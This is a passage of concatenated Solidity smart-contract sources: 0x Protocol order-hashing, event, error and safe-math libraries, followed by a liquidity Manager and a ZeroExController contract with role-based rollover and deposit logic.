expiry; uint256 salt; } /// @dev An RFQ limit order. struct RfqOrder { IERC20TokenV06 makerToken; IERC20TokenV06 takerToken; uint128 makerAmount; uint128 takerAmount; address maker; address taker; address txOrigin; bytes32 pool; uint64 expiry; uint256 salt; } /// @dev An OTC limit order. struct OtcOrder { IERC20TokenV06 makerToken; IERC20TokenV06 takerToken; uint128 makerAmount; uint128 takerAmount; address maker; address taker; address txOrigin; uint256 expiryAndNonce; // [uint64 expiry, uint64 nonceBucket, uint128 nonce] } /// @dev Info on a limit or RFQ order. struct OrderInfo { bytes32 orderHash; OrderStatus status; uint128 takerTokenFilledAmount; } /// @dev Info on an OTC order. struct OtcOrderInfo { bytes32 orderHash; OrderStatus status; } uint256 private constant UINT_128_MASK = (1 << 128) - 1; uint256 private constant UINT_64_MASK = (1 << 64) - 1; uint256 private constant ADDRESS_MASK = (1 << 160) - 1; // The type hash for limit orders, which is: // keccak256(abi.encodePacked( // "LimitOrder(", // "address makerToken,", // "address takerToken,", // "uint128 makerAmount,", // "uint128 takerAmount,", // "uint128 takerTokenFeeAmount,", // "address maker,", // "address taker,", // "address sender,", // "address feeRecipient,", // "bytes32 pool,", // "uint64 expiry,", // "uint256 salt" // ")" // )) uint256 private constant _LIMIT_ORDER_TYPEHASH = 0xce918627cb55462ddbb85e73de69a8b322f2bc88f4507c52fcad6d4c33c29d49; // The type hash for RFQ orders, which is: // keccak256(abi.encodePacked( // "RfqOrder(", // "address makerToken,", // "address takerToken,", // "uint128 makerAmount,", // "uint128 takerAmount,", // "address maker,", // "address taker,", // "address txOrigin,", // "bytes32 pool,", // "uint64 expiry,", // "uint256 salt" // ")" // )) uint256 private constant _RFQ_ORDER_TYPEHASH = 0xe593d3fdfa8b60e5e17a1b2204662ecbe15c23f2084b9ad5bae40359540a7da9; // The type hash for OTC orders, which is: // keccak256(abi.encodePacked( // "OtcOrder(", // "address makerToken,", // "address takerToken,", // "uint128 makerAmount,", // "uint128 takerAmount,", // "address maker,", // "address taker,", // "address txOrigin,", // "uint256 expiryAndNonce" // ")" // )) uint256 private constant _OTC_ORDER_TYPEHASH = 0x2f754524de756ae72459efbe1ec88c19a745639821de528ac3fb88f9e65e35c8; /// @dev Get the struct hash of a limit order. /// @param order The limit order. /// @return structHash The struct hash of the order. function getLimitOrderStructHash(LimitOrder memory order) internal pure returns (bytes32 structHash) { // The struct hash is: // keccak256(abi.encode( // TYPE_HASH, // order.makerToken, // order.takerToken, // order.makerAmount, // order.takerAmount, // order.takerTokenFeeAmount, // order.maker, // order.taker, // order.sender, // order.feeRecipient, // order.pool, // order.expiry, // order.salt, // )) assembly { let mem := mload(0x40) mstore(mem, _LIMIT_ORDER_TYPEHASH) // order.makerToken; mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) // order.takerToken; mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) // order.makerAmount; mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) // order.takerAmount; mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) // order.takerTokenFeeAmount; mstore(add(mem, 0xA0), and(UINT_128_MASK, mload(add(order, 0x80)))) // order.maker; mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) // order.taker; mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) // order.sender; mstore(add(mem, 0x100), and(ADDRESS_MASK, mload(add(order, 0xE0)))) // order.feeRecipient; mstore(add(mem, 0x120), and(ADDRESS_MASK, mload(add(order, 0x100)))) // order.pool; mstore(add(mem, 0x140), mload(add(order, 0x120))) // order.expiry; mstore(add(mem, 0x160), and(UINT_64_MASK, mload(add(order, 0x140)))) // order.salt; mstore(add(mem, 0x180), mload(add(order, 0x160))) structHash := keccak256(mem, 0x1A0) } } /// @dev Get the struct hash of a RFQ order. /// @param order The RFQ order. /// @return structHash The struct hash of the order. function getRfqOrderStructHash(RfqOrder memory order) internal pure returns (bytes32 structHash) { // The struct hash is: // keccak256(abi.encode( // TYPE_HASH, // order.makerToken, // order.takerToken, // order.makerAmount, // order.takerAmount, // order.maker, // order.taker, // order.txOrigin, // order.pool, // order.expiry, // order.salt, // )) assembly { let mem := mload(0x40) mstore(mem, _RFQ_ORDER_TYPEHASH) // order.makerToken; mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) // order.takerToken; mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) // order.makerAmount; mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) // order.takerAmount; mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) // order.maker; mstore(add(mem, 0xA0), and(ADDRESS_MASK, mload(add(order, 0x80)))) // order.taker; mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) // order.txOrigin; mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) // order.pool; mstore(add(mem, 0x100), mload(add(order, 0xE0))) // order.expiry; mstore(add(mem, 0x120), and(UINT_64_MASK, mload(add(order, 0x100)))) // order.salt; mstore(add(mem, 0x140), mload(add(order, 0x120))) structHash := keccak256(mem, 0x160) } } /// @dev Get the struct hash of an OTC order. /// @param order The OTC order. /// @return structHash The struct hash of the order. function getOtcOrderStructHash(OtcOrder memory order) internal pure returns (bytes32 structHash) { // The struct hash is: // keccak256(abi.encode( // TYPE_HASH, // order.makerToken, // order.takerToken, // order.makerAmount, // order.takerAmount, // order.maker, // order.taker, // order.txOrigin, // order.expiryAndNonce, // )) assembly { let mem := mload(0x40) mstore(mem, _OTC_ORDER_TYPEHASH) // order.makerToken; mstore(add(mem, 0x20), and(ADDRESS_MASK, mload(order))) // order.takerToken; mstore(add(mem, 0x40), and(ADDRESS_MASK, mload(add(order, 0x20)))) // order.makerAmount; mstore(add(mem, 0x60), and(UINT_128_MASK, mload(add(order, 0x40)))) // order.takerAmount; mstore(add(mem, 0x80), and(UINT_128_MASK, mload(add(order, 0x60)))) // order.maker; mstore(add(mem, 0xA0), and(ADDRESS_MASK, mload(add(order, 0x80)))) // order.taker; mstore(add(mem, 0xC0), and(ADDRESS_MASK, mload(add(order, 0xA0)))) // order.txOrigin; mstore(add(mem, 0xE0), and(ADDRESS_MASK, mload(add(order, 0xC0)))) // order.expiryAndNonce; mstore(add(mem, 0x100), mload(add(order, 0xE0))) structHash := keccak256(mem, 0x120) } } /// @dev Refund any leftover protocol fees in `msg.value` to `msg.sender`. /// @param ethProtocolFeePaid How much ETH was paid in protocol fees. function refundExcessProtocolFeeToSender(uint256 ethProtocolFeePaid) internal { if (msg.value > ethProtocolFeePaid && msg.sender != address(this)) { uint256 refundAmount = msg.value.safeSub(ethProtocolFeePaid); (bool success,) = msg .sender .call{value: refundAmount}(""); if (!success) { LibNativeOrdersRichErrors.ProtocolFeeRefundFailed( msg.sender, refundAmount ).rrevert(); } } } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2021 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; pragma experimental ABIEncoderV2; import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol"; import "../libs/LibSignature.sol"; import "../libs/LibNativeOrder.sol"; /// @dev Events emitted by NativeOrdersFeature. interface INativeOrdersEvents { /// @dev Emitted whenever a `LimitOrder` is filled. /// @param orderHash The canonical hash of the order. /// @param maker The maker of the order. /// @param taker The taker of the order. /// @param feeRecipient Fee recipient of the order. /// @param takerTokenFilledAmount How much taker token was filled. /// @param makerTokenFilledAmount How much maker token was filled. /// @param protocolFeePaid How much protocol fee was paid. /// @param pool The fee pool associated with this order. event LimitOrderFilled( bytes32 orderHash, address maker, address taker, address feeRecipient, address makerToken, address takerToken, uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount, uint128 takerTokenFeeFilledAmount, uint256 protocolFeePaid, bytes32 pool ); /// @dev Emitted whenever an `RfqOrder` is filled. /// @param orderHash The canonical hash of the order. /// @param maker The maker of the order. /// @param taker The taker of the order. /// @param takerTokenFilledAmount How much taker token was filled. /// @param makerTokenFilledAmount How much maker token was filled. /// @param pool The fee pool associated with this order. event RfqOrderFilled( bytes32 orderHash, address maker, address taker, address makerToken, address takerToken, uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount, bytes32 pool ); /// @dev Emitted whenever a limit or RFQ order is cancelled. /// @param orderHash The canonical hash of the order. /// @param maker The order maker. event OrderCancelled( bytes32 orderHash, address maker ); /// @dev Emitted whenever Limit orders are cancelled by pair by a maker. /// @param maker The maker of the order. /// @param makerToken The maker token in a pair for the orders cancelled. /// @param takerToken The taker token in a pair for the orders cancelled. /// @param minValidSalt The new minimum valid salt an order with this pair must /// have. event PairCancelledLimitOrders( address maker, address makerToken, address takerToken, uint256 minValidSalt ); /// @dev Emitted whenever RFQ orders are cancelled by pair by a maker. /// @param maker The maker of the order. /// @param makerToken The maker token in a pair for the orders cancelled. /// @param takerToken The taker token in a pair for the orders cancelled. /// @param minValidSalt The new minimum valid salt an order with this pair must /// have. event PairCancelledRfqOrders( address maker, address makerToken, address takerToken, uint256 minValidSalt ); /// @dev Emitted when new addresses are allowed or disallowed to fill /// orders with a given txOrigin. /// @param origin The address doing the allowing. /// @param addrs The address being allowed/disallowed. /// @param allowed Indicates whether the address should be allowed. event RfqOrderOriginsAllowed( address origin, address[] addrs, bool allowed ); /// @dev Emitted when new order signers are registered /// @param maker The maker address that is registering a designated signer. /// @param signer The address that will sign on behalf of maker. /// @param allowed Indicates whether the address should be allowed. event OrderSignerRegistered( address maker, address signer, bool allowed ); } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; library LibRichErrorsV06 { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError(string memory message) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; library LibSignatureRichErrors { enum SignatureValidationErrorCodes { ALWAYS_INVALID, INVALID_LENGTH, UNSUPPORTED, ILLEGAL, WRONG_SIGNER, BAD_SIGNATURE_DATA } // solhint-disable func-name-mixedcase function SignatureValidationError( SignatureValidationErrorCodes code, bytes32 hash, address signerAddress, bytes memory signature ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("SignatureValidationError(uint8,bytes32,address,bytes)")), code, hash, signerAddress, signature ); } function SignatureValidationError( SignatureValidationErrorCodes code, bytes32 hash ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("SignatureValidationError(uint8,bytes32)")), code, hash ); } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; import "./errors/LibRichErrorsV06.sol"; import "./errors/LibSafeMathRichErrorsV06.sol"; library LibSafeMathV06 { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; if (c / a != b) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { if (b > a) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; if (c < a) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function safeMul128(uint128 a, uint128 b) internal pure returns (uint128) { if (a == 0) { return 0; } uint128 c = a * b; if (c / a != b) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.MULTIPLICATION_OVERFLOW, a, b )); } return c; } function safeDiv128(uint128 a, uint128 b) internal pure returns (uint128) { if (b == 0) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.DIVISION_BY_ZERO, a, b )); } uint128 c = a / b; return c; } function safeSub128(uint128 a, uint128 b) internal pure returns (uint128) { if (b > a) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.SUBTRACTION_UNDERFLOW, a, b )); } return a - b; } function safeAdd128(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; if (c < a) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256BinOpError( LibSafeMathRichErrorsV06.BinOpErrorCodes.ADDITION_OVERFLOW, a, b )); } return c; } function max128(uint128 a, uint128 b) internal pure returns (uint128) { return a >= b ? a : b; } function min128(uint128 a, uint128 b) internal pure returns (uint128) { return a < b ? a : b; } function safeDowncastToUint128(uint256 a) internal pure returns (uint128) { if (a > type(uint128).max) { LibRichErrorsV06.rrevert(LibSafeMathRichErrorsV06.Uint256DowncastError( LibSafeMathRichErrorsV06.DowncastErrorCodes.VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT128, a )); } return uint128(a); } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; library LibNativeOrdersRichErrors { // solhint-disable func-name-mixedcase function ProtocolFeeRefundFailed( address receiver, uint256 refundAmount ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("ProtocolFeeRefundFailed(address,uint256)")), receiver, refundAmount ); } function OrderNotFillableByOriginError( bytes32 orderHash, address txOrigin, address orderTxOrigin ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotFillableByOriginError(bytes32,address,address)")), orderHash, txOrigin, orderTxOrigin ); } function OrderNotFillableError( bytes32 orderHash, uint8 orderStatus ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotFillableError(bytes32,uint8)")), orderHash, orderStatus ); } function OrderNotSignedByMakerError( bytes32 orderHash, address signer, address maker ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotSignedByMakerError(bytes32,address,address)")), orderHash, signer, maker ); } function OrderNotSignedByTakerError( bytes32 orderHash, address signer, address taker ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotSignedByTakerError(bytes32,address,address)")), orderHash, signer, taker ); } function InvalidSignerError( address maker, address signer ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("InvalidSignerError(address,address)")), maker, signer ); } function OrderNotFillableBySenderError( bytes32 orderHash, address sender, address orderSender ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotFillableBySenderError(bytes32,address,address)")), orderHash, sender, orderSender ); } function OrderNotFillableByTakerError( bytes32 orderHash, address taker, address orderTaker ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OrderNotFillableByTakerError(bytes32,address,address)")), orderHash, taker, orderTaker ); } function CancelSaltTooLowError( uint256 minValidSalt, uint256 oldMinValidSalt ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("CancelSaltTooLowError(uint256,uint256)")), minValidSalt, oldMinValidSalt ); } function FillOrKillFailedError( bytes32 orderHash, uint256 takerTokenFilledAmount, uint256 takerTokenFillAmount ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("FillOrKillFailedError(bytes32,uint256,uint256)")), orderHash, takerTokenFilledAmount, takerTokenFillAmount ); } function OnlyOrderMakerAllowed( bytes32 orderHash, address sender, address maker ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("OnlyOrderMakerAllowed(bytes32,address,address)")), orderHash, sender, maker ); } function BatchFillIncompleteError( bytes32 orderHash, uint256 takerTokenFilledAmount, uint256 takerTokenFillAmount ) internal pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256("BatchFillIncompleteError(bytes32,uint256,uint256)")), orderHash, takerTokenFilledAmount, takerTokenFillAmount ); } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; library LibSafeMathRichErrorsV06 { // bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)")) bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR = 0xe946c1bb; // bytes4(keccak256("Uint256DowncastError(uint8,uint256)")) bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR = 0xc996af7b; enum BinOpErrorCodes { ADDITION_OVERFLOW, MULTIPLICATION_OVERFLOW, SUBTRACTION_UNDERFLOW, DIVISION_BY_ZERO } enum DowncastErrorCodes { VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96, VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT128 } // solhint-disable func-name-mixedcase function Uint256BinOpError( BinOpErrorCodes errorCode, uint256 a, uint256 b ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_BINOP_ERROR_SELECTOR, errorCode, a, b ); } function Uint256DowncastError( DowncastErrorCodes errorCode, uint256 a ) internal pure returns (bytes memory) { return abi.encodeWithSelector( UINT256_DOWNCAST_ERROR_SELECTOR, errorCode, a ); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/IWallet.sol"; contract ZeroExController { using SafeERC20 for IERC20; using Address for address; using Address for address payable; using SafeMath for uint256; // solhint-disable-next-line IWallet public immutable WALLET; constructor(IWallet wallet) public { require(address(wallet) != address(0), "INVALID_WALLET"); WALLET = wallet; } function deploy(bytes calldata data) external { (address[] memory tokens, uint256[] memory amounts) = abi.decode( data, (address[], uint256[]) ); uint256 tokensLength = tokens.length; for (uint256 i = 0; i < tokensLength; i++) { _approve(IERC20(tokens[i]), amounts[i]); } WALLET.deposit(tokens, amounts); } function withdraw(bytes calldata data) external { (address[] memory tokens, uint256[] memory amounts) = abi.decode( data, (address[], uint256[]) ); WALLET.withdraw(tokens, amounts); } function _approve(IERC20 token, uint256 amount) internal { uint256 currentAllowance = token.allowance(address(this), address(WALLET)); if (currentAllowance < amount) { token.safeIncreaseAllowance(address(WALLET), type(uint256).max.sub(currentAllowance)); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "../interfaces/IManager.sol"; import "../interfaces/ILiquidityPool.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {IERC20Upgradeable as IERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {SafeERC20Upgradeable as SafeERC20} from "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import {EnumerableSetUpgradeable as EnumerableSet} from "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import {SafeMathUpgradeable as SafeMath} from "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import {AccessControlUpgradeable as AccessControl} from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; contract Manager is IManager, Initializable, AccessControl { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.Bytes32Set; bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant ROLLOVER_ROLE = keccak256("ROLLOVER_ROLE"); bytes32 public constant MID_CYCLE_ROLE = keccak256("MID_CYCLE_ROLE"); uint256 public currentCycle; uint256 public currentCycleIndex; uint256 public cycleDuration; bool public rolloverStarted; mapping(bytes32 => address) public registeredControllers; mapping(uint256 => string) public override cycleRewardsHashes; EnumerableSet.AddressSet private pools; EnumerableSet.Bytes32Set private controllerIds; modifier onlyAdmin() { require(hasRole(ADMIN_ROLE, _msgSender()), "NOT_ADMIN_ROLE"); _; } modifier onlyRollover() { require(hasRole(ROLLOVER_ROLE, _msgSender()), "NOT_ROLLOVER_ROLE"); _; } modifier onlyMidCycle() { require(hasRole(MID_CYCLE_ROLE, _msgSender()), "NOT_MID_CYCLE_ROLE"); _; } function initialize(uint256 _cycleDuration) public initializer { __Context_init_unchained(); __AccessControl_init_unchained(); cycleDuration = _cycleDuration; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(ADMIN_ROLE, _msgSender()); _setupRole(ROLLOVER_ROLE, _msgSender()); _setupRole(MID_CYCLE_ROLE, _msgSender()); } function registerController(bytes32 id, address controller) external override onlyAdmin { require(!controllerIds.contains(id), "CONTROLLER_EXISTS"); registeredControllers[id] = controller; controllerIds.add(id); emit ControllerRegistered(id, controller); } function unRegisterController(bytes32 id) external override onlyAdmin { require(controllerIds.contains(id), "INVALID_CONTROLLER"); emit ControllerUnregistered(id, registeredControllers[id]); delete registeredControllers[id]; controllerIds.remove(id); } function registerPool(address pool) external override onlyAdmin { require(!pools.contains(pool), "POOL_EXISTS"); pools.add(pool); emit PoolRegistered(pool); } function unRegisterPool(address pool) external override onlyAdmin { require(pools.contains(pool), "INVALID_POOL"); pools.remove(pool); emit PoolUnregistered(pool); } function setCycleDuration(uint256 duration) external override onlyAdmin { cycleDuration = duration; emit CycleDurationSet(duration); } function getPools() external view override returns (address[] memory) { address[] memory returnData = new address[](pools.length()); for (uint256 i = 0; i < pools.length(); i++) { returnData[i] = pools.at(i); } return returnData; } function getControllers() external view override returns (bytes32[] memory) { bytes32[] memory returnData = new bytes32[](controllerIds.length()); for (uint256 i = 0; i < controllerIds.length(); i++) { returnData[i] = controllerIds.at(i); } return returnData; } function completeRollover(string calldata rewardsIpfsHash) external override onlyRollover { require(block.number > (currentCycle.add(cycleDuration)), "PREMATURE_EXECUTION"); _completeRollover(rewardsIpfsHash); } function executeMaintenance(MaintenanceExecution calldata params) external override onlyMidCycle { for (uint256 x = 0; x < params.cycleSteps.length; x++) { _executeControllerCommand(params.cycleSteps[x]); } } function executeRollover(RolloverExecution calldata params) external override onlyRollover { require(block.number > (currentCycle.add(cycleDuration)), "PREMATURE_EXECUTION"); // Transfer deployable liquidity out of the pools and into the manager for (uint256 i = 0; i < params.poolData.length; i++) { require(pools.contains(params.poolData[i].pool), "INVALID_POOL"); ILiquidityPool pool = ILiquidityPool(params.poolData[i].pool); IERC20 underlyingToken = pool.underlyer(); underlyingToken.safeTransferFrom( address(pool), address(this), params.poolData[i].amount ); emit LiquidityMovedToManager(params.poolData[i].pool, params.poolData[i].amount); } // Deploy or withdraw liquidity for (uint256 x = 0; x < params.cycleSteps.length; x++) { _executeControllerCommand(params.cycleSteps[x]); } // Transfer recovered liquidity back into the pools; leave no funds in the manager for (uint256 y = 0; y < params.poolsForWithdraw.length; y++) { require(pools.contains(params.poolsForWithdraw[y]), "INVALID_POOL"); ILiquidityPool pool = ILiquidityPool(params.poolsForWithdraw[y]); IERC20 underlyingToken = pool.underlyer(); uint256 managerBalance = underlyingToken.balanceOf(address(this)); // transfer funds back to the pool if there are funds if (managerBalance > 0) { underlyingToken.safeTransfer(address(pool), managerBalance); } emit LiquidityMovedToPool(params.poolsForWithdraw[y], managerBalance); } if (params.complete) { _completeRollover(params.rewardsIpfsHash); } } function _executeControllerCommand(ControllerTransferData calldata transfer) private { address controllerAddress = registeredControllers[transfer.controllerId]; require(controllerAddress != address(0), "INVALID_CONTROLLER"); controllerAddress.functionDelegateCall(transfer.data, "CYCLE_STEP_EXECUTE_FAILED"); emit DeploymentStepExecuted(transfer.controllerId, controllerAddress, transfer.data); } function startCycleRollover() external override onlyRollover { rolloverStarted = true; emit CycleRolloverStarted(block.number); } function _completeRollover(string calldata rewardsIpfsHash) private { currentCycle = block.number; cycleRewardsHashes[currentCycleIndex] = rewardsIpfsHash; currentCycleIndex = currentCycleIndex.add(1); rolloverStarted = false; emit CycleRolloverComplete(block.number); } function getCurrentCycle() external view override returns (uint256) { return currentCycle; } function getCycleDuration() external view override returns (uint256) { return cycleDuration; } function getCurrentCycleIndex() external view override returns (uint256) { return currentCycleIndex; } function getRolloverStatus() external view override returns (bool) { return rolloverStarted; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; interface IManager { // bytes can take on the form of deploying or recovering liquidity struct ControllerTransferData { bytes32 controllerId; // controller to target bytes data; // data the controller will pass } struct PoolTransferData { address pool; // pool to target uint256 amount; // amount to transfer } struct MaintenanceExecution { ControllerTransferData[] cycleSteps; } struct RolloverExecution { PoolTransferData[] poolData; ControllerTransferData[] cycleSteps; address[] poolsForWithdraw; //Pools to target for manager -> pool transfer bool complete; //Whether to mark the rollover complete string rewardsIpfsHash; } event ControllerRegistered(bytes32 id, address controller); event ControllerUnregistered(bytes32 id, address controller); event PoolRegistered(address pool); event PoolUnregistered(address pool); event CycleDurationSet(uint256 duration); event LiquidityMovedToManager(address pool, uint256 amount); event DeploymentStepExecuted(bytes32 controller, address adapaterAddress, bytes data); event LiquidityMovedToPool(address pool, uint256 amount); event CycleRolloverStarted(uint256 blockNumber); event CycleRolloverComplete(uint256 blockNumber); function registerController(bytes32 id, address controller) external; function registerPool(address pool) external; function unRegisterController(bytes32 id) external; function unRegisterPool(address pool) external; function getPools() external view returns (address[] memory); function getControllers() external view returns (bytes32[] memory); function setCycleDuration(uint256 duration) external; function startCycleRollover() external; function executeMaintenance(MaintenanceExecution calldata params) external; function executeRollover(RolloverExecution calldata params) external; function completeRollover(string calldata rewardsIpfsHash) external; function cycleRewardsHashes(uint256 index) external view returns (string memory); function getCurrentCycle() external view returns (uint256); function getCurrentCycleIndex() external view returns (uint256); function getCycleDuration() external view returns (uint256); function getRolloverStatus() external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../interfaces/IManager.sol"; /// @title Interface for Pool /// @notice Allows users to deposit ERC-20 tokens to be deployed to market makers. /// @notice Mints 1:1 fToken on deposit, represeting an IOU for the undelrying token that is freely transferable. /// @notice Holders of fTokens earn rewards based on duration their tokens were deployed and the 